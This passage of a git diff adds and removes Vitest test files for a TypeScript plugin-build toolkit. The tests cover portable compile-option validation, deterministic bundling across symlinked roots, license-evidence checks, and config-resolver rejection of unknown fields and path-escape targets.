source/package/manifest/legal inputs 全部进入唯一 watch 出口。 */ + expect(current.watch.snapshot().paths).toEqual(expect.arrayContaining([ + await fs.realpath(path.join(current.sourceRoot, 'main.ts')), + await fs.realpath(path.join(current.sourceRoot, 'helper.ts')), + await fs.realpath(path.join(current.packageRoot!, 'index.js')), + await fs.realpath(path.join(current.packageRoot!, 'package.json')), + await fs.realpath(path.join(current.packageRoot!, 'LICENSE')), + await fs.realpath(path.join(current.packageRoot!, 'NOTICE.md')), + ])); + expect(result.modules.some(module => module.id === 'package:portable-fixture-dependency@3.2.1/index.js')).toBe(true); + }); + + it('produces identical bytes across physical roots and allows package-manager symlinks', async () => { + /** 两个不同临时绝对根,其中一个依赖经 pnpm 风格 symlink 解析。 */ + const direct = await fixture(); + const symlinked = await fixture({ symlink: true }); + const first = await direct.service.compile(portableJob({ main: direct.main })); + const second = await symlinked.service.compile(portableJob({ main: symlinked.main })); + const firstBytes = await direct.assets.service(direct.owner).read(first.outputs.find(output => output.type === 'chunk')!.asset); + const secondBytes = await symlinked.assets.service(symlinked.owner).read(second.outputs.find(output => output.type === 'chunk')!.asset); + expect(firstBytes).toEqual(secondBytes); + const firstLicense = await direct.assets.service(direct.owner).read(first.outputs.find(output => output.type === 'licenses')!.asset); + const secondLicense = await symlinked.assets.service(symlinked.owner).read(second.outputs.find(output => output.type === 'licenses')!.asset); + expect(firstLicense).toEqual(secondLicense); + }); + + it('accepts only the frozen portable JSON option subset', async () => { + /** 不使用第三方依赖的入口可单独验证 option mapping。 */ + const current = await fixture(false); + await expect(current.service.compile(portableJob({ plain: current.plain }, { + options: { + resolve: { extensions: ['.mts', '.ts', '.js'] }, + transform: { define: { PORTABLE_FLAG: '"ready"' }, dropLabels: ['DEBUG'] }, + treeshake: true, + }, + }))).resolves.toMatchObject({ profile: 'portable-node' }); + + await expect(current.service.compile(portableJob({ plain: current.plain }, { + id: 'unknown-option', + options: { plugins: [] }, + }))).rejects.toThrow('plugins is unknown'); + await expect(current.service.compile(portableJob({ plain: current.plain }, { + id: 'unsafe-transform', + options: { transform: { inject: { process: './shim.js' } } }, + }))).rejects.toThrow('inject is unknown'); + await expect(current.service.compile(portableJob({ plain: current.plain }, { + id: 'unsafe-minify', + options: { minify: false }, + }))).rejects.toThrow('minify is unknown'); + }); + + it('rejects unresolved, non-literal, native and implicit runtime imports', async () => { + /** 每个故障用独立 fixture,避免 SourceRef 发放后的文件修改触发更早指纹诊断。 */ + const check = async (code: string, expected: string): Promise => { + const current = await fixture(false); + await fs.writeFile(path.join(current.sourceRoot, 'invalid.ts'), code); + const invalid = await current.sourceService.file(current.sourceDirectory, 'invalid.ts'); + await expect(current.service.compile(portableJob({ invalid }))).rejects.toThrow(expected); + }; + await check('import "missing-package"; export const value = true;', 'residual non-node import'); + await check('const target = "./helper.ts"; export const value = import(target);', 'non-literal dynamic import'); + await check('const target = "./helper.ts"; export const value = require(target);', 'non-literal require'); + await check('export { default } from "./native.node";', 'native addon'); + await check('export const file = new URL("./data.json", import.meta.url);', 'implicit runtime file'); + }); + + it('fails strict license collection for missing or invalid evidence', async () => { + /** package manifest 没有 SPDX field。 */ + const missingSpdx = await fixture({ license: false }); + await expect(missingSpdx.service.compile(portableJob({ main: missingSpdx.main }))).rejects.toThrow('SPDX'); + /** 非法 SPDX expression 不能冒充元数据。 */ + const invalidSpdx = await fixture({ license: 'Definitely Not SPDX' }); + await expect(invalidSpdx.service.compile(portableJob({ main: invalidSpdx.main }))).rejects.toThrow('invalid license SPDX'); + /** 只有 SPDX 字段、没有实际法律正文仍然失败。 */ + const missingLegal = await fixture({ legal: false }); + await expect(missingLegal.service.compile(portableJob({ main: missingLegal.main }))).rejects.toThrow('license or notice evidence'); + }); +}); diff --git a/packages/core/test/compiler-portable.types.ts b/packages/core/test/compiler-portable.types.ts new file mode 100644 index 0000000..bf04dbb --- /dev/null +++ b/packages/core/test/compiler-portable.types.ts @@ -0,0 +1,24 @@ +import { expectTypeOf } from 'vitest'; +import type { + CompileOptions, + PortableNodeCompileOptions, + PortableNodeResolveOptions, +} from '../src/kernel-types.js'; + +/** portable options 必须只有精确 Profile map 中的一份类型。 */ +expectTypeOf>().toEqualTypeOf(); + +/** readonly 作者数组可以直接复用同一套 portable 参数。 */ +const options = { + resolve: { extensions: ['.ts', '.js'] as const }, + transform: { define: { FEATURE: 'true' }, jsx: false as const }, + treeshake: true, +} satisfies CompileOptions<'portable-node'>; +expectTypeOf(options.resolve).toMatchTypeOf(); + +/** arbitrary Plugin 不属于 portable public surface。 */ +const invalid = { + // @ts-expect-error portable-node does not expose Rolldown Plugins + plugins: [], +} satisfies CompileOptions<'portable-node'>; +void invalid; diff --git a/packages/core/test/config-resolver.test.ts b/packages/core/test/config-resolver.test.ts new file mode 100644 index 0000000..e2c9f8e --- /dev/null +++ b/packages/core/test/config-resolver.test.ts @@ -0,0 +1,152 @@ +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; +import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; + +/** @returns 配置测试使用的最小 Platform。 */ +function platform(id: string, strict?: boolean) { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + ...(strict === undefined ? {} : { strict }), + createSession: () => ({ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: () => undefined, + }), + }); +} + +/** @returns 配置测试使用的最小 Extension。 */ +function extension(id: string, roots: readonly string[]) { + return defineExtension({ + id, + apiVersion: '1', + resourceRoots: roots, + createSession: () => ({ + discover: () => ({}), + validate: () => ({ state: {}, subjects: [] }), + build: () => ({ state: {} }), + contributors: [], + }), + }); +} + +/** 固定工程根的 config resolver。 */ +function resolve(value: unknown) { + return resolveKernelConfig(value, { + projectRoot: '/project', + configFile: '/project/acplugin.config.ts', + command: 'build', + mode: 'production', + }); +} + +describe('Kernel config resolver', () => { + it('normalizes metadata, Runtime, integrations and strictness as immutable data', () => { + /** Platform override 与全局 strict 共同验证最终行为。 */ + const primary = platform('primary'); + const relaxed = platform('relaxed', false); + const hooks = extension('hooks', ['hooks']); + const result = resolve({ + name: 'release-tools', + version: '1.2.3', + description: ' Release tools. ', + author: { name: 'TokenRoll', email: 'team@example.com' }, + keywords: ['release', 'review'], + runtime: { + entries: { cli: { entry: 'bin/cli.ts', kind: 'module' } }, + compile: { treeshake: false, transform: { define: { FLAG: 'true' } } }, + }, + platforms: [primary, relaxed], + extensions: [hooks], + build: { strict: true }, + }); + + expect(result.diagnostics).toEqual([]); + expect(result.config).toMatchObject({ + projectRoot: '/project', + srcDirectory: path.join('/project', 'src'), + metadata: { name: 'release-tools', version: '1.2.3', description: 'Release tools.' }, + runtime: { target: 'node20', entries: { cli: { entry: 'bin/cli.ts', kind: 'module' } } }, + strict: true, + }); + expect(result.config?.platforms.map(item => [item.definition.id, item.strict])).toEqual([['primary', true], ['relaxed', false]]); + expect(Object.isFrozen(result.config)).toBe(true); + expect(Object.isFrozen(result.config?.runtime.compile)).toBe(true); + }); + + it('allows project-root Public only through per-source exact non-overlapping copy rules', () => { + const ok = resolve({ + name: 'public-copy', version: '1.0.0', description: 'Public copy.', platforms: [platform('target')], + public: { dir: '.', copy: [{ from: 'schemas', to: 'schemas' }, { from: 'rulepacks', to: 'runtime/rulepacks' }] }, + }); + const overlap = resolve({ + name: 'public-overlap', version: '1.0.0', description: 'Public overlap.', platforms: [platform('target')], + public: { dir: '.', copy: [{ from: 'src', to: 'source' }] }, + }); + const full = resolve({ + name: 'public-full', version: '1.0.0', description: 'Public full.', platforms: [platform('target')], + public: { dir: '.' }, + }); + + expect(ok.diagnostics).toEqual([]); + expect(ok.config?.public.copy?.map(rule => [rule.from, rule.to])).toEqual([ + ['schemas', 'schemas'], + ['rulepacks', 'runtime/rulepacks'], + ]); + expect(overlap.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PUBLIC_OVERLAP' })); + expect(full.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PUBLIC_OVERLAP' })); + }); + + it('rejects getters, class instances, unknown fields, unsafe paths and duplicate integration IDs', () => { + /** getter 不得在配置检查期间被执行。 */ + let getterRead = false; + const withGetter = Object.defineProperty({ + name: 'getter', version: '1.0.0', description: 'Getter.', platforms: [platform('target')], + }, 'srcDir', { + enumerable: true, + get: () => { + getterRead = true; + return 'src'; + }, + }); + /** class instance 不属于纯配置。 */ + class Config {} + const duplicate = platform('duplicate'); + const invalid = resolve({ + name: 'invalid', version: '1.0.0', description: 'Invalid.', + srcDir: '../outside', + unknown: true, + platforms: [duplicate, duplicate], + }); + + expect(resolve(withGetter).diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_ACCESSOR_INVALID' })); + expect(getterRead).toBe(false); + expect(resolve(new Config()).diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_OBJECT_INVALID' })); + expect(invalid.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'CONFIG_FIELD_UNKNOWN', 'CONFIG_PATH_INVALID', 'CONFIG_PLATFORM_DUPLICATE', + ])); + }); + + it('aggregates independent metadata and structural failures in one deterministic result', () => { + const result = resolve({ + name: 'Invalid Name', + version: 'invalid', + description: '', + author: { name: '', email: 'invalid', url: 'file:///secret' }, + keywords: ['duplicate', ' duplicate ', ''], + srcDir: '../outside', + platforms: [], + }); + + expect(result.config).toBeUndefined(); + expect(result.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'CONFIG_NAME_INVALID', 'CONFIG_VERSION_INVALID', 'CONFIG_DESCRIPTION_REQUIRED', + 'CONFIG_AUTHOR_NAME_INVALID', 'CONFIG_AUTHOR_EMAIL_INVALID', 'CONFIG_AUTHOR_URL_INVALID', + 'CONFIG_KEYWORD_DUPLICATE', 'CONFIG_KEYWORD_INVALID', 'CONFIG_PATH_INVALID', + 'CONFIG_PLATFORMS_REQUIRED', + ])); + }); +}); diff --git a/packages/core/test/config.test.ts b/packages/core/test/config.test.ts deleted file mode 100644 index 465c04f..0000000 --- a/packages/core/test/config.test.ts +++ /dev/null @@ -1,242 +0,0 @@ -import path from 'node:path'; -import { describe, expect, it } from 'vitest'; -import { - defineExtension, - definePlatform, - resolveConfig, - type AcpluginPlatform, - type UserConfig, -} from '../src/index.js'; - -/** - * 创建配置测试使用的最小品牌化 Platform。 - * - * @param id 开放 Platform ID。 - * @param strict 可选的平台级严格度覆盖。 - * @returns 不产生实际 Artifact 的测试 Platform。 - */ -function platform(id: string, strict?: boolean): AcpluginPlatform { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - ...(strict === undefined ? {} : { strict }), - /** 配置测试不创建初始 Draft。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** 配置测试只声明最小主交付单元。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** 配置测试不执行候选校验。 */ - validateBundle: () => undefined, - }); -} - -/** Core 配置测试使用的显式 Platform 工厂结果。 */ -const defaults = [platform('claude-code'), platform('codex')]; - -/** 允许运行时覆盖必填字段以验证缺失配置诊断的测试输入。 */ -type UserConfigInput = Omit & { readonly platforms?: UserConfig['platforms'] }; - -/** - * 使用固定工程根和默认 Platform 解析配置。 - * - * @param value 最终 acplugin.config.ts 对象。 - * @returns Core 的配置或诊断结果。 - */ -function resolve(value: UserConfigInput): ReturnType { - return resolveConfig(value as UserConfig, path.join('/project', 'acplugin.config.ts'), 'build', 'production'); -} - -describe('final configuration schema', () => { - it('resolves complete metadata, Public, strict overrides, Platforms, and Extensions', () => { - /** 显式配置且覆盖全局 strict 的第三方 Platform。 */ - const community = platform('community', true); - /** 最小品牌化第三方 Extension。 */ - const extension = defineExtension({ name: 'community-extension', apiVersion: '1', adapters: [] }); - /** 覆盖规范配置示例各主要字段的解析结果。 */ - const result = resolve({ - name: 'release-tools', - version: '1.2.3', - description: ' Release workflow tools. ', - displayName: 'Release Tools', - author: { name: 'TokenRoll', email: 'team@example.com', url: 'https://github.com/TokenRollAI' }, - homepage: 'https://example.com/release-tools', - repository: 'https://github.com/TokenRollAI/release-tools', - license: 'MIT OR Apache-2.0', - keywords: [' release ', 'review'], - srcDir: 'source', - public: { dir: 'assets', copy: [{ from: 'shared', to: 'shared' }] }, - platforms: [community], - extensions: [extension], - build: { outDir: 'output', strict: false }, - }); - - expect(result.diagnostics).toEqual([]); - expect(result.config?.metadata).toEqual({ - name: 'release-tools', - version: '1.2.3', - description: 'Release workflow tools.', - displayName: 'Release Tools', - author: { name: 'TokenRoll', email: 'team@example.com', url: 'https://github.com/TokenRollAI' }, - homepage: 'https://example.com/release-tools', - repository: 'https://github.com/TokenRollAI/release-tools', - license: 'MIT OR Apache-2.0', - keywords: ['release', 'review'], - }); - expect(result.config?.platforms).toEqual([{ platform: community, strict: true }]); - expect(result.config?.extensions).toEqual([extension]); - expect(result.config?.public.copy).toEqual([{ from: 'shared', to: 'shared' }]); - }); - - it('requires explicit platforms and applies build strictness', () => { - /** 显式配置 Platform 且关闭全局 strict 的配置结果。 */ - const result = resolve({ - name: 'default-platforms', - version: '1.0.0', - description: 'Default Platforms.', - platforms: defaults, - build: { strict: false }, - }); - /** 完全省略 Platform 时必须返回稳定的必填诊断。 */ - const missing = resolve({ - name: 'missing-platforms', - version: '1.0.0', - description: 'Missing Platforms.', - }); - - expect(result.config?.platforms.map(item => ({ id: item.platform.id, strict: item.strict }))).toEqual([ - { id: 'claude-code', strict: false }, - { id: 'codex', strict: false }, - ]); - expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PLATFORMS_REQUIRED' })); - }); - - it('rejects empty, duplicate, forged, and API-incompatible Platform instances', () => { - /** 同一实例重复出现时用于验证 ID 唯一性的 Platform。 */ - const duplicate = platform('duplicate'); - /** 把多个独立 Platform 错误汇总在一次解析中的配置。 */ - const result = resolve({ - name: 'invalid-platforms', - version: '1.0.0', - description: 'Invalid Platforms.', - platforms: [ - duplicate, - duplicate, - { id: 'fake', apiVersion: '1', deliveryType: 'plugin', strict: true } as never, - { id: 'future', apiVersion: '2', deliveryType: 'plugin', strict: true } as never, - ], - }); - /** 显式空数组必须完整替换默认值并因此失败。 */ - const empty = resolve({ - name: 'empty-platforms', version: '1.0.0', description: 'Empty.', platforms: [], - }); - - expect(result.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ - 'CONFIG_PLATFORM_DUPLICATE', - 'CONFIG_PLATFORM_INVALID', - 'CONFIG_PLATFORM_API_INCOMPATIBLE', - ])); - expect(empty.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PLATFORMS_EMPTY' })); - }); - - it('rejects duplicate, forged, and API-incompatible Extensions', () => { - /** 同一 Extension 重复出现时用于验证名称唯一性的实例。 */ - const duplicate = defineExtension({ name: 'duplicate-extension', apiVersion: '1', adapters: [] }); - /** 汇总三类 Extension 配置错误的结果。 */ - const result = resolve({ - name: 'invalid-extensions', - version: '1.0.0', - description: 'Invalid Extensions.', - extensions: [ - duplicate, - duplicate, - { name: 'fake-extension', apiVersion: '1', adapters: [] } as never, - { name: 'future-extension', apiVersion: '2', adapters: [] } as never, - ], - }); - - expect(result.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ - 'CONFIG_EXTENSION_DUPLICATE', - 'CONFIG_EXTENSION_INVALID', - 'CONFIG_EXTENSION_API_INCOMPATIBLE', - ])); - }); - - it('validates author, URL, SPDX, keywords, and directory boundaries independently', () => { - /** 每个可选元数据和路径规则均非法的聚合配置。 */ - const result = resolve({ - name: 'invalid-fields', - version: '1.0.0', - description: 'Invalid fields.', - author: { name: '', email: 'invalid', url: 'file:///tmp/author' }, - homepage: '/relative', - repository: 'git@example.com:repo.git', - license: 'Definitely Not SPDX', - keywords: ['duplicate', ' duplicate ', ''], - srcDir: '/outside/source', - public: { dir: 'source/public' }, - build: { outDir: '../output' }, - }); - - expect(result.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ - 'CONFIG_AUTHOR_NAME_INVALID', - 'CONFIG_AUTHOR_EMAIL_INVALID', - 'CONFIG_AUTHOR_URL_INVALID', - 'CONFIG_HOMEPAGE_INVALID', - 'CONFIG_REPOSITORY_INVALID', - 'CONFIG_LICENSE_INVALID', - 'CONFIG_KEYWORD_DUPLICATE', - 'CONFIG_KEYWORD_INVALID', - 'CONFIG_PATH_ABSOLUTE', - 'CONFIG_PATH_ESCAPE', - ])); - }); - - it('normalizes Public delivery targets without changing source-path semantics', () => { - /** 反斜杠来源仍由当前宿主解释,交付目标则统一为 POSIX。 */ - const result = resolve({ - name: 'portable-public', - version: '1.0.0', - description: 'Portable Public targets.', - platforms: defaults, - public: { copy: [{ from: 'source\\logo.svg', to: 'assets\\logo.svg' }] }, - }); - - expect(result.diagnostics).toEqual([]); - expect(result.config?.public.copy).toEqual([{ from: 'source\\logo.svg', to: 'assets/logo.svg' }]); - }); - - it.each([ - ['Win32 drive target', 'C:\\outside\\logo.svg'], - ['Win32 slash drive target', 'C:/outside/logo.svg'], - ['UNC target', '\\\\server\\share\\logo.svg'], - ['POSIX absolute target', '/outside/logo.svg'], - ['backslash traversal target', 'assets\\..\\logo.svg'], - ['mixed traversal target', 'assets\\../logo.svg'], - ['NUL target', 'assets/\0/logo.svg'], - ])('rejects a non-portable Public %s', (_label, target) => { - /** 每种目标语法都必须在配置阶段得到相同稳定边界诊断。 */ - const result = resolve({ - name: 'invalid-public-target', - version: '1.0.0', - description: 'Invalid Public target.', - public: { copy: [{ from: 'logo.svg', to: target }] }, - }); - - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CONFIG_PUBLIC_RULE_ESCAPE', - fieldPath: ['public', 'copy', 0], - })); - }); - - it('rejects Win32 absolute Public sources even on a POSIX host', () => { - /** 来源使用宿主语义解析,但跨宿主绝对输入始终属于不可信配置。 */ - const result = resolve({ - name: 'invalid-public-source', - version: '1.0.0', - description: 'Invalid Public source.', - public: { copy: [{ from: 'C:\\outside\\logo.svg', to: 'assets/logo.svg' }] }, - }); - - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PUBLIC_RULE_ESCAPE' })); - }); -}); diff --git a/packages/core/test/contracts.test.ts b/packages/core/test/contracts.test.ts deleted file mode 100644 index 0d6c383..0000000 --- a/packages/core/test/contracts.test.ts +++ /dev/null @@ -1,144 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { - defineExtension, - definePlatform, - isAcpluginExtension, - isAcpluginPlatform, - type AcpluginPlatform, - type ExtensionPlatformAdapter, -} from '../src/index.js'; - -/** - * 创建品牌与版本测试共用的最小第三方 Platform。 - * - * @returns 通过公开工厂构造的可安装 Plugin Platform。 - */ -function thirdPartyPlatform(): AcpluginPlatform { - return definePlatform({ - id: 'third-party', - apiVersion: '1', - deliveryType: 'plugin', - strict: true, - /** 创建不含 Document 与 Artifact 的初始 Draft。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** 创建最小主 Plugin DeliveryUnit。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] } as const), - /** 最小 Platform 不需要附加候选校验。 */ - validateBundle: () => undefined, - }); -} - -describe('Platform contract', () => { - it('brands and freezes factory results while rejecting shape-compatible objects', () => { - /** 公开工厂生成的有效第三方 Platform。 */ - const platform = thirdPartyPlatform(); - /** 具有相同公共字段但缺少私有 Symbol 的伪造对象。 */ - const fake = { - id: 'third-party', - apiVersion: '1', - deliveryType: 'plugin', - strict: true, - /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), - /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] } as const), - /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, - }; - - expect(isAcpluginPlatform(platform)).toBe(true); - expect(isAcpluginPlatform(fake)).toBe(false); - expect(Object.isFrozen(platform)).toBe(true); - }); - - it('rejects invalid ids and unsupported API versions at runtime', () => { - /** 用于验证运行时版本守卫的最小定义。 */ - const definition = { - id: 'third-party', - apiVersion: '1', - deliveryType: 'plugin', - strict: true, - /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), - /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] } as const), - /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, - } as const; - - expect(() => definePlatform({ ...definition, id: 'Third Party' })).toThrow('lowercase kebab-case'); - expect(() => definePlatform({ ...definition, apiVersion: '2' } as never)).toThrow('Unsupported Platform API version'); - }); - - it('copies and deeply freezes JSON-only Platform options', () => { - /** 配置作者仍持有并可能在工厂返回后修改的原始对象。 */ - const options = { marketplace: { policy: ['AVAILABLE'] } }; - /** 带 Platform 专属配置的第三方实例。 */ - const platform = definePlatform({ - ...thirdPartyPlatform(), - options, - }); - - options.marketplace.policy.push('PRIVATE'); - expect(platform.options).toEqual({ marketplace: { policy: ['AVAILABLE'] } }); - expect(Object.isFrozen(platform.options)).toBe(true); - expect(Object.isFrozen(platform.options!.marketplace)).toBe(true); - expect(() => definePlatform({ ...thirdPartyPlatform(), options: [] } as never)).toThrow('JSON object'); - expect(() => definePlatform({ - ...thirdPartyPlatform(), - options: { - /** invalid 提供当前对象协议要求的回调实现。 */ - invalid: () => undefined, - }, - } as never)).toThrow('JSON values'); - }); -}); - -describe('Extension contract', () => { - it('brands adapters with both API versions and rejects duplicate platform ownership', () => { - /** Extension Adapter 引用的第三方 Platform。 */ - const platform = thirdPartyPlatform(); - /** 正向 Bridge Adapter,显式声明 Extension 与 Platform API 版本。 */ - const adapter: ExtensionPlatformAdapter<{ readonly file: string }> = { - extensionApiVersion: '1', - platform: platform.id, - platformApiVersion: '1', - /** 最小 Adapter 不需要修改 Draft。 */ - apply: () => undefined, - }; - /** 使用泛型 Discovered/Built State 的有效第三方 Extension。 */ - const extension = defineExtension<{ readonly source: string }, { readonly file: string }>({ - name: 'third-party-extension', - apiVersion: '1', - /** 返回 Extension 自己拥有的发现状态。 */ - discover: () => ({ source: 'feature.ts' }), - /** 把发现状态转换为跨 Platform 共用的 Built State。 */ - build: (_context, discovered) => ({ file: discovered.source }), - adapters: [adapter], - }); - - expect(isAcpluginExtension(extension)).toBe(true); - expect(Object.isFrozen(extension)).toBe(true); - expect(Object.isFrozen(extension.adapters)).toBe(true); - expect(() => defineExtension({ - name: 'duplicate-extension', - apiVersion: '1', - adapters: [adapter, { ...adapter }], - })).toThrow('duplicate Adapter'); - }); - - it('rejects fake Extension objects and incompatible Adapter versions', () => { - /** Extension Adapter 引用的第三方 Platform。 */ - const platform = thirdPartyPlatform(); - /** 缺少私有 Extension Symbol 的普通对象。 */ - const fake = { name: 'fake', apiVersion: '1', adapters: [] }; - /** 通过 never 绕过静态检查,仅验证加载不可信配置时的运行时守卫。 */ - const incompatibleAdapter = { - extensionApiVersion: '1', - platform: platform.id, - platformApiVersion: '2', - /** apply 提供当前对象协议要求的回调实现。 */ apply: () => undefined, - } as never; - - expect(isAcpluginExtension(fake)).toBe(false); - expect(() => defineExtension({ - name: 'incompatible-extension', - apiVersion: '1', - adapters: [incompatibleAdapter], - })).toThrow('Unsupported Platform Adapter API version'); - }); -}); diff --git a/packages/core/test/contracts.types.ts b/packages/core/test/contracts.types.ts deleted file mode 100644 index df0ef0f..0000000 --- a/packages/core/test/contracts.types.ts +++ /dev/null @@ -1,89 +0,0 @@ -import { - defineExtension, - definePlatform, - type AcpluginPlatform, - type DraftDocument, - type ExtensionPlatformAdapter, - type PlatformAdapterContext, - type PlatformId, -} from '../src/index.js'; - -/** 第三方 Extension discover 阶段产生的示例状态。 */ -interface ExampleDiscoveredState { - readonly source: string; -} - -/** 第三方 Extension build 阶段产生的示例状态。 */ -interface ExampleBuiltState { - readonly output: string; -} - -/** - * 由 TypeScript 编译器验证第三方 Platform、Extension 和 Bridge Adapter 的正负契约。 - */ -export function verifyContractTypes(): void { - /** 正常第三方 Platform 无需修改 Core 的封闭联合类型。 */ - const platform = definePlatform({ - id: 'community-platform', - apiVersion: '1', - deliveryType: 'workspace', - strict: false, - /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), - /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'workspace', role: 'primary', type: 'workspace', artifacts: [] }), - /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, - }); - /** 正常 Bridge Adapter 同时绑定两个 API 版本。 */ - const adapter: ExtensionPlatformAdapter = { - extensionApiVersion: '1', - platform: platform.id, - platformApiVersion: '1', - /** apply 提供当前对象协议要求的回调实现。 */ apply: (context, built) => context.emitArtifact({ - path: built.output, - source: { type: 'bytes', value: new Uint8Array() }, - }), - }; - /** 正常第三方 Extension 可以保留显式 Discovered/Built State。 */ - const extension = defineExtension({ - name: 'community-extension', - apiVersion: '1', - /** discover 提供当前对象协议要求的回调实现。 */ discover: () => ({ source: 'extension.ts' }), - /** build 同时验证第三方 Extension 可登记自己的完整依赖图。 */ - build: (context, discovered) => { - context.addWatchFile('/absolute/extension.ts'); - return { output: discovered.source }; - }, - adapters: [adapter], - }); - - // @ts-expect-error 原始字符串没有经过 Platform 工厂,不能直接获得开放品牌。 - const rawPlatformId: PlatformId = 'community-platform'; - // @ts-expect-error 普通对象缺少 Core 私有的 Platform Symbol 品牌。 - const fakePlatform: AcpluginPlatform = { - id: platform.id, - apiVersion: '1', - deliveryType: 'workspace', - strict: false, - /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), - /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'workspace', role: 'primary', type: 'workspace', artifacts: [] }), - /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, - }; - /** API 版本错误的 Adapter 应由 TypeScript 在作者工程中提前拒绝。 */ - const wrongVersionAdapter: ExtensionPlatformAdapter = { - extensionApiVersion: '1', - platform: platform.id, - // @ts-expect-error Platform Adapter 必须声明当前 Platform API 版本。 - platformApiVersion: '2', - /** apply 提供当前对象协议要求的回调实现。 */ apply: () => undefined, - }; - /** 受限 Adapter Context 和只读 Draft 不允许访问内部写入、序列化或替换能力。 */ - const verifyRestrictedContext = (context: PlatformAdapterContext, document: DraftDocument): void => { - // @ts-expect-error Adapter 不获得最终输出目录。 - void context.outDir; - // @ts-expect-error Adapter 不获得 Platform 内部 Serializer。 - void context.serialize; - // @ts-expect-error DraftDocument 的结构化值不可被 Extension 原地替换。 - document.value = {}; - }; - - void [extension, rawPlatformId, fakePlatform, wrongVersionAdapter, verifyRestrictedContext]; -} diff --git a/packages/core/test/core.test.ts b/packages/core/test/core.test.ts deleted file mode 100644 index becf68a..0000000 --- a/packages/core/test/core.test.ts +++ /dev/null @@ -1,198 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { - DiagnosticCollector, - type AcpluginPlatform, - type BuildCommand, - type BuildMode, - definePlatform, - resolveConfig as resolveCoreConfig, - scanProject, - type UserConfig, -} from '../src/index.js'; - -/** 每个测试创建并在 afterEach 中统一删除的临时目录。 */ -const temporaryDirectories: string[] = []; - -/** - * 创建 Core 配置测试使用且不依赖私有官方包的最小 Platform。 - * - * @param id 开放的测试 Platform ID。 - * @returns 带私有品牌的最小 Plugin Platform。 - */ -function testPlatform(id: string): AcpluginPlatform { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - /** 配置测试不需要实际 Draft。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** 配置测试只需要最小主单元定义。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** 配置测试不执行候选内容校验。 */ - validateBundle: () => undefined, - }); -} - -/** Core 综合测试使用的两个显式 Platform。 */ -const testPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; - -/** 综合测试允许省略 Platform,并由测试辅助函数显式补入固定实例。 */ -type CoreTestConfig = Omit & { readonly platforms?: UserConfig['platforms'] }; - -/** - * 使用测试默认 Platform 调用最终 Core 配置解析器。 - * - * @param value 用户配置候选。 - * @param configPath 配置入口路径。 - * @param command 当前构建命令。 - * @param mode 当前运行模式。 - * @returns 最终配置或稳定诊断。 - */ -function resolveConfig(value: CoreTestConfig, configPath: string, command: BuildCommand, mode: BuildMode): ReturnType { - return resolveCoreConfig({ platforms: testPlatforms, ...value } as UserConfig, configPath, command, mode); -} - -/** - * 创建当前 Core 测试独占的临时工程目录。 - * - * @returns 自动登记清理的绝对目录路径。 - */ -async function temporaryProject(): Promise { - /** 当前测试独占且会在 afterEach 清理的工程根目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-core-test-')); - temporaryDirectories.push(root); - return root; -} - -afterEach(async () => { - await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); -}); - -describe('config', () => { - it('normalizes configured platforms and directories', async () => { - /** 默认配置解析使用的空工程根目录。 */ - const root = await temporaryProject(); - /** 使用最小用户配置得到的解析结果。 */ - const result = resolveConfig({ - name: 'test-plugin', - version: '1.0.0', - description: 'Test plugin.', - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - - expect(result.diagnostics).toEqual([]); - expect(result.config?.platforms.map(item => ({ id: item.platform.id, strict: item.strict }))).toEqual([ - { id: 'claude-code', strict: true }, - { id: 'codex', 